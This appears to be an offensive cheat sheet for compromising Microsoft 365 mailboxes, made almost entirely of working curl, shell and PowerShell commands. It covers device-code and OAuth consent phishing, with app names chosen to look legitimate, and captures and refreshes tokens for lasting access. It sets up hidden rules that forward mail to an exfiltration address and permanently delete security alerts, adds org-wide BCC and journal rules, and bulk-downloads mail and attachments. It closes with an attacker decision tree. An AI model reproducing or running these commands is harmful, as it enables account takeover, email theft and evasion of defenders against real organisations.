Microsoft 365 Mailbox Compromise

# Device code phishing — initiate auth flow
curl -s "https://login.microsoftonline.com/common/oauth2/v2.0/devicecode" \
  -d "client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&scope=offline_access Mail.Read Mail.ReadWrite"

# Poll for token after victim enters code
curl -s "https://login.microsoftonline.com/common/oauth2/v2.0/token" \
  -d "grant_type=urn:ietf:params:oauth:grant-type:device_code&client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&device_code=<DEVICE_CODE>"

# List mailbox messages via Graph API
curl -s "https://graph.microsoft.com/v1.0/me/messages?\$top=50&\$select=subject,from,receivedDateTime" \
  -H "Authorization: Bearer <ACCESS_TOKEN>" | jq '.value[] | {subject,from,receivedDateTime}'

# Create inbox forwarding rule
curl -s -X POST "https://graph.microsoft.com/v1.0/me/mailFolders/inbox/messageRules" \
  -H "Authorization: Bearer <ACCESS_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"displayName":"","isEnabled":true,"sequence":1,"conditions":{"subjectContains":["invoice","payment","wire","transfer"]},"actions":{"forwardTo":[{"emailAddress":{"address":"<EXFIL_EMAIL>"}}]}}'

# Register app in attacker-controlled Azure AD tenant
# Azure Portal → App Registrations → New Registration
# Redirect URI: https://<ATTACKER_DOMAIN>/callback
# Request permissions: Mail.Read, Mail.ReadWrite, Contacts.Read, Files.Read

# Build consent URL — victim clicking grants access
CONSENT_URL="https://login.microsoftonline.com/common/adminconsent?client_id=<MALICIOUS_APP_ID>&redirect_uri=https://<ATTACKER_DOMAIN>/callback&scope=https://graph.microsoft.com/.default"

# For user-level consent (no admin required):
USER_CONSENT="https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=<MALICIOUS_APP_ID>&response_type=code&redirect_uri=https://<ATTACKER_DOMAIN>/callback&scope=Mail.Read+Mail.ReadWrite+offline_access&response_mode=query"

# After victim consents, exchange auth code for tokens
curl -s -X POST "https://login.microsoftonline.com/common/oauth2/v2.0/token" \
  -d "client_id=<MALICIOUS_APP_ID>&client_secret=<APP_SECRET>&code=<AUTH_CODE>&redirect_uri=https://<ATTACKER_DOMAIN>/callback&grant_type=authorization_code"

# Name the app to look legitimate:
#   "Microsoft Security Update"
#   "IT Helpdesk Portal"
#   "SharePoint Document Viewer"
# Use a publisher domain similar to target org
# Request minimal permissions initially, escalate later via incremental consent

# Step 1: Generate device code (no victim interaction yet)
RESP=$(curl -s "https://login.microsoftonline.com/common/oauth2/v2.0/devicecode" \
  -d "client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&scope=offline_access Mail.Read Mail.ReadWrite Mail.Send User.Read")

DEVICE_CODE=$(echo "$RESP" | jq -r '.device_code')
USER_CODE=$(echo "$RESP" | jq -r '.user_code')
VERIFY_URL=$(echo "$RESP" | jq -r '.verification_uri')
echo "Send victim to: $VERIFY_URL and enter code: $USER_CODE"

# Step 2: Send phishing message directing victim to https://microsoft.com/devicelogin
# Pretext: "MFA re-enrollment required" / "Security verification" / "Teams meeting access"

# Step 3: Poll for token completion (victim enters code and authenticates)
while true; do
  TOKEN_RESP=$(curl -s "https://login.microsoftonline.com/common/oauth2/v2.0/token" \
    -d "grant_type=urn:ietf:params:oauth:grant-type:device_code&client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&device_code=$DEVICE_CODE")
  
  if echo "$TOKEN_RESP" | jq -e '.access_token' > /dev/null 2>&1; then
    echo "$TOKEN_RESP" | jq '{access_token,refresh_token,expires_in}' > /tmp/m365_tokens.json
    echo "[+] Token captured!"
    break
  fi
  sleep 5
done

# Step 4: Use refresh token for persistent access (survives password change)
REFRESH_TOKEN=$(jq -r '.refresh_token' /tmp/m365_tokens.json)
curl -s "https://login.microsoftonline.com/common/oauth2/v2.0/token" \
  -d "client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&grant_type=refresh_token&refresh_token=$REFRESH_TOKEN&scope=offline_access Mail.Read Mail.ReadWrite"

# If Exchange admin access is obtained:

# Grant ApplicationImpersonation role (access ANY mailbox)
# PowerShell via Graph/EWS:
# New-ManagementRoleAssignment -Role "ApplicationImpersonation" -User "<COMPROMISED_ADMIN>"

# Add mailbox delegate (victim won't see in Outlook UI easily)
curl -s -X POST "https://graph.microsoft.com/v1.0/users/<VICTIM_UPN>/mailFolders/inbox/permissions" \
  -H "Authorization: Bearer <ADMIN_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"emailAddress":{"address":"<ATTACKER_UPN>"},"role":"read"}'

# Full mailbox access via EWS impersonation
curl -s "https://outlook.office365.com/EWS/Exchange.asmx" \
  -H "Content-Type: text/xml" \
  -H "Authorization: Bearer <TOKEN>" \
  -d '<?xml version="1.0"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
  xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
  xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages">
  <soap:Header>
    <t:ExchangeImpersonation>
      <t:ConnectingSID><t:PrimarySmtpAddress><VICTIM_EMAIL></t:PrimarySmtpAddress></t:ConnectingSID>
    </t:ExchangeImpersonation>
  </soap:Header>
  <soap:Body>
    <m:FindItem Traversal="Shallow">
      <m:ItemShape><t:BaseShape>Default</t:BaseShape></m:ItemShape>
      <m:ParentFolderIds><t:DistinguishedFolderId Id="inbox"/></m:ParentFolderIds>
    </m:FindItem>
  </soap:Body>
</soap:Envelope>'

# Grant full access to mailbox via PowerShell
# Add-MailboxPermission -Identity <VICTIM> -User <ATTACKER> -AccessRights FullAccess -AutoMapping $false
# AutoMapping:$false prevents it from showing in Outlook — stealthier

# Create hidden forwarding rule
curl -s -X POST "https://graph.microsoft.com/v1.0/me/mailFolders/inbox/messageRules" \
  -H "Authorization: Bearer <TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{
    "displayName": " ",
    "sequence": 1,
    "isEnabled": true,
    "conditions": {
      "bodyContains": ["password","credential","vpn","token","secret","wire","invoice","payment"]
    },
    "actions": {
      "forwardTo": [{"emailAddress":{"address":"<EXFIL_EMAIL>"}}],
      "markAsRead": true,
      "moveToFolder": "inbox"
    }
  }'

# Create rule that deletes security alerts (cover tracks)
curl -s -X POST "https://graph.microsoft.com/v1.0/me/mailFolders/inbox/messageRules" \
  -H "Authorization: Bearer <TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{
    "displayName": " ",
    "sequence": 2,
    "isEnabled": true,
    "conditions": {
      "fromContains": ["security@","noreply@microsoft","alerts@"]
    },
    "actions": {
      "delete": true,
      "permanentDelete": true
    }
  }'

# List existing rules (check for defender-created rules)
curl -s "https://graph.microsoft.com/v1.0/me/mailFolders/inbox/messageRules" \
  -H "Authorization: Bearer <TOKEN>" | jq '.value[] | {displayName,isEnabled,conditions,actions}'

# Exchange admin: create org-wide BCC rule
# New-TransportRule -Name "Compliance Journaling" -SentToScope InOrganization \
#   -BlindCopyTo "<EXFIL_EMAIL>" -SubjectContainsWords "confidential","acquisition","merger"

# Journal rule (copies ALL mail to external address)
# New-JournalRule -Name "Legal Hold" -JournalEmailAddress "<EXFIL_EMAIL>" \
#   -Scope Global -Enabled $true

# Bulk email download via Graph API
ACCESS_TOKEN="<TOKEN>"

# Search for high-value emails
curl -s "https://graph.microsoft.com/v1.0/me/messages?\$search=\"password OR credential OR vpn OR secret\"&\$top=100&\$select=subject,from,body,hasAttachments,receivedDateTime" \
  -H "Authorization: Bearer $ACCESS_TOKEN" > /tmp/m365_search.json

# Download all attachments
curl -s "https://graph.microsoft.com/v1.0/me/messages?\$filter=hasAttachments eq true&\$top=50" \
  -H "Authorization: Bearer $ACCESS_TOKEN" | jq -r '.value[].id' | while read msgid; do
  curl -s "https://graph.microsoft.com/v1.0/me/messages/$msgid/attachments" \
    -H "Authorization: Bearer $ACCESS_TOKEN" | jq -r '.value[] | .name + " " + .contentBytes' >> /tmp/m365_attachments.txt
done

# Access other users' mailboxes (with ApplicationImpersonation)
curl -s "https://graph.microsoft.com/v1.0/users/<VICTIM_UPN>/messages?\$top=50" \
  -H "Authorization: Bearer $ACCESS_TOKEN" | jq '.value[] | {subject,from}'

# OneDrive/SharePoint access with same token (if scoped)
curl -s "https://graph.microsoft.com/v1.0/me/drive/root/children" \
  -H "Authorization: Bearer $ACCESS_TOKEN" | jq '.value[] | {name,size,lastModifiedDateTime}'

# Refresh tokens last 90 days by default (can be revoked)
# Keep refreshing before expiry to maintain access indefinitely

# Automated token refresh loop
REFRESH_TOKEN=$(jq -r '.refresh_token' /tmp/m365_tokens.json)
NEW_TOKENS=$(curl -s "https://login.microsoftonline.com/common/oauth2/v2.0/token" \
  -d "client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&grant_type=refresh_token&refresh_token=$REFRESH_TOKEN&scope=offline_access Mail.Read Mail.ReadWrite")
echo "$NEW_TOKENS" > /tmp/m365_tokens.json

# Check token validity
curl -s "https://graph.microsoft.com/v1.0/me" \
  -H "Authorization: Bearer $(jq -r '.access_token' /tmp/m365_tokens.json)" | jq '{displayName,mail,userPrincipalName}'

# If refresh token is revoked, fall back to:
# 1. Consent grant still active → re-authenticate via consent URL
# 2. Mail forwarding rules still active → passive collection continues
# 3. Delegate permissions still active → access via different compromised account

IF initial access to M365 account:
  → Deploy inbox forwarding rule for passive collection
  → Create hidden mail rule matching high-value keywords
  → Exfiltrate recent email via Graph API search
  → Refresh token on schedule to maintain access

IF Exchange admin access:
  → Grant ApplicationImpersonation for cross-mailbox access
  → Create transport rule for org-wide BCC
  → Target executive/finance mailboxes specifically

IF no credentials but phishing opportunity:
  → Device code phishing (bypasses MFA, uses legitimate Microsoft URL)
  → Fallback: OAuth consent grant phishing (requires app registration)
  → Last resort: credential phishing (less effective with MFA)

IF access is detected/revoked:
  → Mail rules persist after password reset — check if still forwarding
  → Delegate permissions persist after token revocation — re-authenticate
  → OAuth consent grants persist until explicitly revoked by admin